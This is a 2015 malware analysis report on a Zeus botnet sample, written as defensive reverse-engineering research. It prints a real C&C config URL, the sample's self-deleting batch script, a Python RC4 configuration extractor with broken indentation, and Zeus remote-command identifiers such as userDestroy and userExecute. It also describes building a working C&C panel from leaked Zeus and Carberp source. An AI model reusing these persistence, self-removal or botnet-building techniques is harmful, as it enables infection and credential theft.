Zeus malware analysis report

2015

ZEUS MALWARE ANALYSIS REPORT

Pham Duy Phuc

Contents

1. Introduction

2. Zeus Sample Analysis

2.1. Dynamic Malware Analysis

2.1.1. Network Activities

2.1.2. Automated dynamic analysis

2.2. Static Malware Analysis

2.2.1. Automated static analysis

2.2.2. Manual malware reverse analysis

3. Zeus botnet reconstruction

4. Summary

Introduction

The analyzed sample is one of Zeus botnet’s family. This sample would not be analyzed or submit to any online analysis services. The analysis report consists of 2 parts: malware analysis (static and dynamic analysis) and reconstruction of a real Zeus botnet. The following sections outline our analysis results.

Zeus Sample Analysis

The attachment received were as shown below:

image-20220320212552691

In order to analyze the executable code, I employ a combination of static and dynamic analysis techniques. Static analysis is the analysis of a program’s source or byte code to determine behaviors. Besides, dynamic analysis is necessary to uncover behaviors too complicated for static analysis, or discover flaws in program logic only known at runtime. These analyzed steps will be implemented simultaneously in order to complement each other.

image-20220320212615277

Figure 1 Methodology

Dynamic Malware Analysis

The paper [1] implement an automated approach to extract malware behaviors by observing all the system functions calls in virtualized environment. A virtualized 32-bit machine is created through VMWare with Windows XP system and a host-only network infrastructure. Malware must never be executed on any host systems because it may harm to the computer or other devices in network.

image-20220320212645603

Figure 2 Malware analysis environment

Network Activities

FakeNet[2] is a tool that simulates network so that malware interacting with a remote host continues to run allowing the analyst to observe the malware’s network activities within a safe environment. The tool runs on Windows OS and requires no 3rd party libraries, support the most common protocols used by malware, and keep the malware running so that you can observe as much of its functionality as possible. It also export captured network activities to a PCAP file which can be analyzed by using Wireshark.

\[DNS Query Received.\]

Domain name: lifestyles.pp.ru

\[DNS Response sent.\]

\[Received new connection on port: 80.\]

\[New request on port 80.\]

GET /back/config.bin HTTP/1.1

Accept: \*/\*

Connection: Close

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: lifestyles.pp.ru

Cache-Control: no-cache

\[Sent http response to client.\]

The binary tried connecting to lifestyles.pp.ru and download config.bin. It could be the configuration of the malware however we will verify this behavior when looking in deeper after.

Automated dynamic analysis

image-20220320212747962

Figure 3 Cuckoo Sandbox setup environment

First, I used ProcMon [2] which is an advanced monitoring tool for Windows shows real-time file system, Registry and process/thread activity. However, it is difficult to keep overall track of created files and processes which is triggered by the malware. Therefore, I built a Cuckoo Sandbox environment [3] which is a malware analysis system where you can throw any suspicious file and it will provide detailed results outlining what such file did when executed inside an isolated environment.

**Opened files**

\\\\?\\PIPE\\lsarpc

C:\\Documents and Settings\\Admin\\Cookies\\admin@google\[1\].txt

C:\\Documents and Settings\\Admin\\Cookies\\admin@python\[1\].txt

**C:\\Documents and Settings\\Admin\\Application Data\\Abdo\\yzxo.gug**

Written files

\\\\?\\PIPE\\lsarpc

C:\\Documents and Settings\\Admin\\Application Data\\Abdo\\yzxo.gug

Files Read

\\\\?\\PIPE\\lsarpc

C:\\Documents and Settings\\Admin\\Cookies\\admin@google\[1\].txt

C:\\Documents and Settings\\Admin\\Cookies\\admin@python\[1\].txt

**Process ZeusBinary.exe (852)**

Opened files

C:\\Documents and Settings\\Admin\\Application Data\\Abdo\\yzxo.gug

C:\\Documents and Settings\\Admin\\Local Settings\\Temp\\ZeusBinary.exe

C:\\Documents and Settings\\Admin\\Application Data

**C:\\Documents and Settings\\Admin\\Application Data\\Ufra\\yfakc.exe**

Written files

**C:\\Documents and Settings\\Admin\\Local
Settings\\Temp\\tmpe7bd73b9.bat**

C:\\Documents and Settings\\Admin\\Application Data\\Ufra\\yfakc.exe

Files Read

C:\\Documents and Settings\\Admin\\Local Settings\\Temp\\ZeusBinary.exe

**Process yfakc.exe (1704)**

Opened files

C:\\Documents and Settings\\Admin\\Application Data\\Ufra\\yfakc.exe

Written files

\\\\?\\PIPE\\lsarpc

Files Read

C:\\Documents and Settings\\Admin\\Application Data\\Ufra\\yfakc.exe

**Process cmd.exe (112)**

Opened files

\\\\?\\PIPE\\lsarpc

C:\\Documents and Settings\\Admin\\Local Settings\\Temp\\tmpe7bd73b9.bat

The sample created and dropped 2 directories, 2 files in %AppData% and a batch script in %Temp%. It also created a start up registry key to make the malware being executed each time the victim’s machine starts.

Figure 4 Cuckoo sandbox on running

Self-removal through batch script: The malware used a technique to remove itself after installing. Therefore, it is no chance for victim to grab the original malicious binary which could be analysed after executing it.

@**echo** off

**:d**

**del** \"C:\\Documents and Settings\\Admin\\Local
Settings\\Temp\\ZeusBinary.exe\"

**if exist** \"C:\\Documents and Settings\\Admin\\Local
Settings\\Temp\\ZeusBinary.exe\" **goto** d

**del** /F \"C:\\DOCUME\~1\\Admin\\LOCALS\~1\\Temp\\tmpe7bd73b9.bat\"

Static Malware Analysis

Automated static analysis

PEview[4] provides a quick and easy way to view the structure and content of 32-bit Portable Executable (PE) files. It displays header, section, directory, import table, export table, and resource information within EXE, DLL, OBJ files.

Figure 5 PEView results

Figure 4 shows that the malware might be built on 19/12/2013, however this value can be faked.

Figure 6 Imported libraries and functions

The sample import many suspicious functions such as: CreateThread, ReadFile, WriteFile, CreateDirectory, HttpOpenRequest, etc. These functions are suspicious and may attempt to execute child process, read/write/delete files or connect to the outside environment. Functions name ended with “A” means ASCII format and “W” means Unicode result.

PEiD [5] is an application that detects packers, cryptors and compilers found in PE executable files – its detection rate is higher than that of other similar tools since the app packs more than 600 different signatures in PE files. PEiD comes with three different scanning methods, each suitable for a distinct purpose. The Normal one scans the user-specified PE file at its Entry Point for all its included signatures. The so-called Deep Mode comes with increased detection ratio since it scans the file's Entry Point containing section, whereas the Hardcore mode scans the entire file for all the documented signatures.

**CRC32** \[poly\] :: 00013B81 :: 00414781

The reference is above.

CryptCreateHash \[Import\] :: 00000458 :: 00401058

Referenced (Hash: **MD5**) at 00414693

CryptHashData \[Import\] :: 00000474 :: 00401074

Referenced at 004146AF

PeID did not find any packer in Zeus binary sample, however it found CRC32 and md5 functions which are known as 32bit hash checksum in the malware.

Manual malware reverse analysis

IDA is the Interactive DisAssembler [6] with most feature-full disassembler, which many software security specialists are familiar with. The unique Hex-Rays decompiler delivers on the promise of high level representation of binary executables.

Figure 7 Sample’s Flow Graph

The Fig. 3 shows a call graph of sample which has many function branches and difficult to trace the flow of running. I used the taint trace function of IDA when debugging to see the real flow of this malware sample. Taint analysis are used to analyze how information flows through a malware binary, explore trigger-based behavior, and detect emulators. IDA tool supports record, compare and replay trace results.

00000518 .text:sub_4120C4 Memory layout changed: 128 segments Memory
layout changed: 128 segments

00000518 .text:start+B call sub_4120C4 start call sub_4120C4

00000518 .text:sub_4120C4:loc_4120EB call sub_411D74 sub_4120C4 call
sub_411D74

00000518 .text:sub_411D74+39 retn sub_411D74 returned to sub_4120C4+2C

00000518 .text:sub_4120C4+41 call ds:GetModuleHandleW sub_4120C4 call
kernel32.dll:kernel32_GetModuleHandleW

00000518 .text:sub_4120C4+10F call sub_40F964 sub_4120C4 call sub_40F964

00000518 .text:sub_40F964+49 retn sub_40F964 returned to sub_4120C4+114

00000518 .text:sub_4120C4+117 call ds:GetModuleHandleW sub_4120C4 call
kernel32.dll:kernel32_GetModuleHandleW

00000518 .text:sub_4120C4+136 call esi ; GetProcAddress sub_4120C4 call
kernel32.dll:kernel32_GetProcAddress

00000518 .text:sub_4120C4+148 call esi ; GetProcAddress sub_4120C4 call
kernel32.dll:kernel32_GetProcAddress

00000518 .text:sub_4120C4+15A call esi ; GetProcAddress

sub_4120C4 call kernel32.dll:kernel32_HeapCreate

00000518 .text:sub_4120C4+205 call ds:InitializeCriticalSection
sub_4120C4 call kernel32.dll:kernel32_InitializeCriticalSection

00000518 .text:sub_4120C4+21B call ds:**WSAStartup** sub_4120C4 call
ws2_32.dll:ws2_32\_**WSAStartup**

00000518 .text:sub_4120C4+224 call sub_411DAE sub_4120C4 call sub_411DAE

00000518 .text:sub_411DAE+8 call sub_414BC2 sub_411DAE call sub_414BC2

00000518 .text:sub_414BC2+D call ds:GetModuleHandleW sub_414BC2 call
kernel32.dll:kernel32_GetModuleHandleW

00000518 .text:sub_414BC2+1D call ds:GetProcAddress sub_414BC2 call
kernel32.dll:kernel32_GetProcAddress

00000518 .text:sub_414BC2+2D call eax sub_414BC2 call
kernel32.dll:kernel32_IsWow64Process

00000518 .text:sub_414BC2+3F retn sub_414BC2 returned to sub_411DAE+D

00000518 .text:sub_411DAE+24 call sub_4169AA sub_411DAE call sub_4169AA

\--snippet---

00000518 .text:sub_41973F+42 call sub\_**4133F7** sub_41973F call
sub_4133F7

00000518 .text:sub_4133F7+14 retn 0Ch sub_4133F7 returned to
sub_41973F+47

00000518 .text:sub_41973F+53 call sub\_**414837** sub_41973F call
sub_414837

00000518 .text:sub_414837+6E retn 8 sub_414837 returned to
sub_41973F:loc_419797

00000518 .text:sub_41973F+42 call sub\_**4133F7** sub_41973F call
sub_4133F7

00000518 .text:sub_4133F7+14 retn 0Ch sub_4133F7 returned to
sub_41973F+47

00000518 .text:sub_41973F+53 call sub\_**414837** sub_41973F call
sub_414837

00000518 .text:sub_414837+6E retn 8 sub_414837 returned to
sub_41973F:loc_419797

00000518 .text:sub_41973F+42 call sub\_**4133F7** sub_41973F call
sub_4133F7

The first function at 0x4120C4 requests information of itself: PID, executable path, etc. through kernel32 library. The malware then check for command arguments and based on these arguments it will decide to execute: update; self-remote; VNC remote control (see 3.Zeus botnet reconstruction). It verifies the version of operating system using kernel32.GetVersionExW() and seems to be supported by Windows (PC/Server) from version 5.0 to 6.1 (XP to Windows 7/ Windows Server 2003 to 2008).

Figure 8 Malware cases

The function at 0x00412D01 is the initial procedure which creates Mutex then reads its executable contents to a heap memory. Referring to C code RC4 encryption scheme [7], the malware uses RC4 to decrypt then check the decrypted cipher text is equal to "DAVE" and verifies CRC32 checksum at 0x412975 using rc4 key at dword 4026F0 then make a stream cipher at 0x4147D4.

Figure 9 Function 0x4147D4 RC4 Initialization

Figure 10 Apple RC4 implementation in C

Figure 11 RC4 Crypt function

The first decryption key is hardcoded in the binary from address 0x403730.

Figure 12 The first decryption key

After initializing KSA phase of RC4 encryption, the malware sample read each 0x102 (258 bytes) of itself and decrypt with the first key. This while loop will last until the decrypted result has the header “DAVE”, apparently this technique makes the program runs longer (nearly 90 seconds in python implementation), hard to debug and avoid embedding the address of ciphertext in assembly. However the ciphertext actually locates in the end of the binary contents (usually from 0x22800).

Furthermore, the decrypted result contains 4bytes header “DAVE”, CRC32Hash, info, Sizetodecode, XORkey. There are 2 cases: installer and injector depends on info field, if the value is 0x0c then it is still in installation phase if it is 0x1e6 then it has been replaced by installation routine with a new packer data structure .

Figure 13 Configuration XOR Decryption

It generates new key by XOR between old RC4 key and a permutation table. The Xor key in the installation phase is a 4bytes string “720DC80F” (extracted from the first decrypted string). VirtualProtect function changes the protection on a region of committed pages in the virtual address space of the calling process, in this case it changes from PAGE_EXECUTE_READWRITE to PAGE_EXECUTE_READ.[8]

Figure 14 Key generation

By recognizing the value “6C078965”, the function at 0x4146F4 is the seed generator of Mersenne Twister pseudorandom number generator [9] (as known as mt_rand function). I figured out the malware create a random name from 2 lists: “bcdfghklmnpqrstvwxz” and “aeiouy” to construct a default 4-character directory name and 5-character “.exe” file name with first uppercase character. Thereafter, the malware packs values of Registry keys, PRNG seed, local path name, computer name and version and encrypted using RC4, replaces the old ciphertext at the end of the original binary with new ciphertext then write to %AppData%\\ {Random_Directory} \\{Random_Name}.exe. Besides, they created a new configuration file in %AppData%\\ {Random_Directory} \\{Random_Name}.{Random_ext}. This result will be useful in writing regex rules for auto removal tool. I also verify this result by comparing 2 binaries’ flow graphs by using BinDiff [10] which is a comparison tool for binary files, that assists vulnerability researchers and engineers to quickly find differences and similarities in disassembled code. The 2 binaries have the same disassembly code but a small difference at the end of the resource field.

Figure 15 BinDiff among original binary and dropped executable

The dropped binary will be called by CreateProcessW and execute the injection case (0x1e6). It can be triggered by using debugging attach with one of these techniques:

  • Create a new process using CreateProcess and change the dwCreationFlags in stack from CREATE_DEFAULT_ERROR_MODE (0x4000000) to CREATE_SUSPENDED (0x4). Then attach to the suspended process using IDA/Ollydbg, and resume all threads.

  • Edit the dumped PE file in %AppData% and change the bytes at the entry point to “EB FE” which jumps to itself in an infinite loop or “CC” which is INT3 and will hang and ask for debugging. Then attach to the suspended process using IDA/Ollydbg and restore the original bytes at the entrypoint and resume the process.

Figure 16 Zeus configuration archive

The new process requests for remote configuration (/back/config.bin), update new rc4 key (if needed). At this point, we can make a fake lifestyles.pp.ru by changing host windows IP located at %system32%/drivers/etc/hosts and build old pieces of configuration binary grabbed from ZeusTracker.

Figure 17 Create new process from dropped binary

In section 2.1.1, the malware send a GET request to an URL with user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)", and there is a hardcoded string "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)" in the binary can be referred to function 0x414F8F. However, this function was not raised breakpoint in live debugging because the malware set the default user agent by calling the function ObtainUserAgentString in urlmon.dll.

Figure 18 XREFs of user agent string

We can also trigger the communication process by setting breakpoints at Wininet library: InternetReadFile and HTTPOpenRequestA. Ollydbg is a powerful tool to attach and debug inside kernel library running on explorer.exe. However, both IDA and Ollydbg sometimes crash this critical process and hang on running.

Figure 19 Ollydbg triggered HTTPOpenRequestA

For communication, the malware continues XOR the first ciphertext with key from address 0x21000 to get configuration values include configuration URL, RC4 key.

Figure 20 RC4 key of network communication

This is the automated configuration extraction written using Python:

data = open("ZeusBinary.bin","rb").read()
key = "2A83FADF8B5852AA3F7D46D5728738ABA4D1685698A3AAA5E723381148405384AEC5ADF372 F5EDE2CBD43A186457C35B1D3B303B54322FF145DF6BE0D7FB4634F2FAC2F13EAA4A117D6D3 EA3DCDA67A6ED13FDCC51CC6ED64CD9C2E43A45A51A39EABD31663D7D7C545E794932BFD3CC 158A96D966F01093F5C18D5C562139A1432BCE8CA2AAB0E4483955DF368689C3345268F24BC D7554C848B406E313B855BA5997489550914FD24C74137E483B5F7D5E4F124F525A5B555A6A 5F2553544FE1D821EDF79A52C961A8C32CF2BAFEC587C1C3139FFAA07F5738A360596F0B26E D00FBA4D8C429ED7568FE1FDAD3E60E1C9C53C8DD776D2CA59EED5E7EB84AF39555D354963B D681877AD95F50B78FF9902DCD678C87A5F46CE1FB968E9D360F5069B157980ACB578572BCC
514FEB95D540AA1416BBE302EA4953463012EA7D0DED625816D3F483F726BD62C8C3FFB9326 CEB7B142374EAF46D6429A1508CD916F3526AD48A3E9AE437A74D553992A4ADC305AB09986B 7DFE9B4DB9A544F30261C901E3D2F94A26EC2353A580618CAD712E8DF3D59C382E53E53E0A4 3D606FE05CA41B66B8D37D9B02990759C2622B3D5B183C4795B97E20564A249B6094B272A66 E9F7DF6D88DC638471B8F5DA8D8F798B06C163F40798BC0273AD7272C81495EA69CE842486D E669ACD7EC324F286088542E3A05C803F06CCE15E1A5C4676C7984F336EC651E5F57AA0EB68 3DC1B106AF720139528DDC28632FF7DE7C23E1E2024C3207370C7CA630FE1C1FDC8B310BA43 F70DA9F45AE6663B8CEEB23AC05B7CA80FAFEB52940AE80E01FAB2B5A0551B300EDE6103482 C74AFBC91D4C222D40AF17C834D81C85A37D9EA18829D0813CD1C21332C533F7608F98B5669 AE8B1469CF4690B199678C7A62DF8BDF733E6A302F4ECA0B9FA7B276391A69316001087ABFE 55412363B5887D7BFC9A2294D7646C72052C470BC301E37453F34FEFDCD830AF637C7DED761 38AD8D673E72E0E46CAE999B5D4A23690C238F08437576C4EC3805399B954F12662295117BF 8429715A434ED5B9D4F63108E4E05DCEB03BE7ABF895646937DA93576138827D71C67A9D44F 1A857CC2F1534D563773FB2A7F78A856AFF072700D1C2E822F3F0AE7AE".decode("hex") #KSA Phase
for k in range(0, len(data)-0x102):
    # k=0x22800
input = data[k:k+0x102] S = range(256)
j=0
out = []
for i in range(256):
j = (j + S[i] + ord( key[i % len(key)] )) % 256 S[i] , S[j] = S[j] , S[i]
#PRGA Phase i=j=0
for char in input:
        i = ( i + 1 ) % 256
        j = ( j + S[i] ) % 256
S[i] , S[j] = S[j] , S[i]
out.append(chr(ord(char) ^ S[(S[i] + S[j]) % 256])) if ''.join(out)[0:4] == "DAVE": break
decrypted_text = ''.join(out)
print decrypted_text.encode("hex") xor_key = data[0x21000:0x21000+len(key)]
l = [ord(a) ^ ord(b) for a,b in zip(key,xor_key)] config = ''.join(chr(i) for i in l)
url=""
i=0
while 1:
    url += config[0x97+i]
    i+=1
    if config[0x97+i] =="\x00":
break
print "config url = ", url
print "RC4 communication key = ", config[0x1a4:0x1a4+512].encode("hex")

Result:

config url = http://lifestyles.pp.ru/back/config.bin

RC4 communication key = 7ce3b1abd6a9db692652c70daf28c07791887211427b38aa44a59e43925fa34cb2e9c1f76c7647be3999b4c6ec811027bb71f5ba5416a6e6831d3578e29758d98e79b9d7b59d33ddde7edc5174652a0809fa17c270fc31d389f6535e45b6b704a0574a6d0b986a84efee6f2212c5a421051a41f02e004b4fe7823e1e6824c320a7491ff3bf3601f819f15b29567a07345dcda2df9a028cd49c0680672d94cf930f6e8537cc302bc4cb8b1b6bd20ef2e07d3c60132f90caae75fd8debd0ce96bc4dd1c85a3fd8ea188fad1423e82c0a0348634e469bc915663a9fd525dafeffa17fa8b3bdfb50f4b8ed407359641c3bf9b0ac8786610c325ce555e43d958ae16200006a6edae1d8ffd51fcf40dbf1ef642246b407000000086cc987fa0d3d620073e90756de9a60502b4acbdc5696c3a33d72bc51a61b4e30844d96fc0100010091ac6b2b5f1bd02827c120ae6f9db0d4c0a4ee5aa9b78d3c06d2e38783868f6c5ba95e93664c70b252ed965d30eeff20334614cbb577a00d7bc034443a93ca945a49a836f91587133336f592

[Finished in 92.6s]

Zeus botnet reconstruction

Source code for version 2.0.8.9 of the ZeuS malware has been leaked on the internet since 2011. I grabbed the open source code [11] to deploy a whole Zeus system running on local machines. These system will help us fully understand the activities among both C&C server and clients.

Figure 21 Zeus build

This source code includes: server build (executable and PHP) for running C&C server, builder (exe) to build zombie malware similar to our sample. It built based on Microsoft Visual Studio, PHP and Apache Server. However, I have to refer to another leaked botnet source-code [12] to modify and build full Zeus kit.

Figure 22 Zeus bot executable and configuration builds

The control panel can filter the victims by country, IP-addresses, NAT-status, desktop screenshots in real time, detailed information about the bots: Windows version, user language and time zone, location and computer IP, the first and last time of communication with the server, time in online.

The root directory includes index.php which is empty to prevent unwanted visitors. Two other, namely cp.php and gate.php: cp.php is the user control panel to manage the bots, whereas gate.php is the PHP script that handles all the communication between bots and C&C server.

Figure 23 Zeus control panel and victim’s information

C&C server control the bots by creating a script for them referring to \\\\Zeus\\source\\client\\remotescript.cpp. Fortunately, with our results of RC4 key, C&C configuration information, malware analysist can take advantages of known Zeus control panel security bugs [13]

Figure 24 Sending control script to victim

Besides, with the list of known scripts command, we can take down the malware remotely by reconstruct a sinkhole with RC4 key, configuration and send command botUninstall to infected devices.

//Work with the OC.

**{**CryptedStrings**::**id_remotescript_command_os_shutdown**,osShutdown},**

**{**CryptedStrings**::**id_remotescript_command_os_reboot**,osReboot},**

//Working with a bot.

**{**CryptedStrings**::**id_remotescript_command_bot_uninstall**,**botUninstall**},**

**{**CryptedStrings**::**id_remotescript_command_bot_update**,**
botUpdate**},**

#if(BO_BCSERVER_PLATFORMS \> 0)

**{**CryptedStrings**::**id_remotescript_command_bot_bc_add**,**
botBcAdd**},**

**{**CryptedStrings**::**id_remotescript_command_bot_bc_remove**,**botBcRemove**},**

#endif

**{**CryptedStrings**::**id_remotescript_command_bot_httpinject_disable**,**botHttpInjectDisable**},**

**{**CryptedStrings**::**id_remotescript_command_bot_httpinject_enable**,**
botHttpInjectEnable**},**

//Working with faly.

**{**CryptedStrings**::**id_remotescript_command_fs_path_get**,**fsPathGet**},**

**{**CryptedStrings**::**id_remotescript_command_fs_search_add**,**fsSearchAdd**},**

**{**CryptedStrings**::**id_remotescript_command_fs_search_remove**,**fsSearchRemove**},**

//Working with the user.

**{**CryptedStrings**::**id_remotescript_command_user_destroy**,**
userDestroy**},**

**{**CryptedStrings**::**id_remotescript_command_user_logoff**,**userLogoff**},**

**{**CryptedStrings**::**id_remotescript_command_user_execute**,**
userExecute**},**

Summary

Zeus malware contains configuration data which is hardcoded and encrypted in the bot binary, contains the URL of a configuration file to download, and the RC4 key to decrypt it. Once the configuration file has been parsed, the bot reports information and activities about the infected computer to the C&C server. The following figure details those phases.

image-20220320213731222

Figure 25 Zeus initialization and communication phases

Some taint tracking analyses were tested such as minemu [14], a new emulator architecture that speeds up dynamic taint analysis, but only support Linux 32-bit OS. Unicorn [15], a lightweight CPU emulator framework, which native support for both Windows and Linux, was tested. The idea is to hook a function which capture the read/write memory operations at some specified addresses or read value of rc4 key address at some specified location. However, running in an emulator has difficulties in declaring external libraries and it is totally different from normal environment. Unicorn will be really useful in analyzing obfuscated disassembly code, standalone program and shellcode [16].

Another approach to automatically grab the RC4 communication key is using Volatility [17] and APIhook to analyze memory dump forensic when we already understood the header of decrypted plaintext.

REFERENCES

[1] Wagener, Gérard, Radu State, and Alexandre Dulaunoy. "Malware behaviour

analysis." Journal in Computer Virology 4.4 (2008): 279-287.

[2] FakeNet, https://practicalmalwareanalysis.com/fakenet/

[3] Cuckoo Sanbox, https://www.cuckoosandbox.org/

[4] PEView http://blog.threatexpert.com/2010/05/config-decryptor-for-zeus-20.html

[5] PEiD https://www.aldeid.com/wiki/PEiD

[6] IDA https://www.hex-rays.com/products/ida/

[7] RC4, 1996-2000 Whistle Communications, Inc. http://www.opensource.apple.com/source/xnu/xnu-1456.1.26/bsd/crypto/rc4/rc4.c

[8] Memory Protection Constants https://msdn.microsoft.com/en-us/library/windows/desktop/aa366786(v=vs.85).aspx

[9] Mersenne Twister https://en.wikipedia.org/wiki/Mersenne_Twister

[10] BinDiff http://www.zynamics.com/bindiff.html

[11] Zeus Source code https://github.com/Visgean/Zeus

[12] Carberp Source code https://github.com/hzeroo/Carberp

[13] Zeus Upload vulnerability http://cybercrime-tracker.net/tools.php

[14] Erik Bosman, Asia Slowinska, and Herbert Bos, “Minemu: The World’s Fastest Taint Tracker”, RAID'11 Proceedings of the 14th international conference on Recent Advances in Intrusion Detection 2011

[15] Nguyen Anh Quynh, “Unicorn: Next Generation CPU Emulator Framework”, Black Hat USA 2015

[15] Luc Nguyen, “Phân tích shellcode với PyAna”, Tetcon 2015.

[15] ZUBAIR ASHRAF, “ZEUS ANALYSIS – MEMORY FORENSICS VIA VOLATILITY”, https://securityintelligence.com/zeus-analysis-memory-forensics-via-volatility/